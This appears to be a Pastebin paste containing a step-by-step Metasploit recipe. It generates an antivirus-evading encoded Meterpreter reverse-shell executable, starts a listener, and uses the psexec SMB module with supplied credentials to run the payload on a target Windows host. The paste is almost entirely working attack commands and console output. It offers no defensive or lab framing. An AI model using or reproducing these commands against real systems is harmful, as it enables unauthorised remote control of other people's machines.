Advertisement
Guest User

Untitled

a guest
Sep 5th, 2017
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.27 KB | None | 0 0
  1. ## Metasploit: Custom Psexec Executable ##
  2.  
  3. #The first thing we need to do is generate a custom executable to use with Meterpreter.
  4.  
  5. $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4445 R | msfencode -t exe -e x86/shikata_ga_nai -c 5 > custom.exe
  6.  
  7. #Next we need to setup a multi handler to listen for connections.
  8.  
  9. $ msf > use exploit/multi/handler
  10. $ msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
  11. $ PAYLOAD => windows/meterpreter/reverse_tcp
  12. $ msf exploit(handler) > set LHOST 192.168.0.1
  13. $ LHOST => 192.168.0.1
  14. $ msf exploit(handler) > set LPORT 4445
  15. $ LPORT => 4445
  16. [*] Started reverse handler on 192.168.0.1:4445
  17. [*] Starting the payload handler...
  18.  
  19. #In another msfconsole session we need to configure the psexec exploit module to use our custom executable.
  20.  
  21. $ msf > use exploit/windows/smb/psexec
  22. $ msf exploit(psexec) > set RHOST 192.168.0.2
  23. $ RHOST => 192.168.0.2
  24. $ msf exploit(psexec) > set SMBUser user
  25. $ SMBUser => user
  26. $ msf exploit(psexec) > set SMBPass pass
  27. $ SMBPass => pass
  28. $ msf exploit(psexec) > set EXE::Custom /path/to/custom.exe
  29. $ EXE::Custom => /path/to/custom.exe
  30.  
  31. #Finally, we need to run the exploit. If everything worked then you should see a new meterpreter session open in multi/handler
  32.  
  33. $ msf exploit(psexec) > exploit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement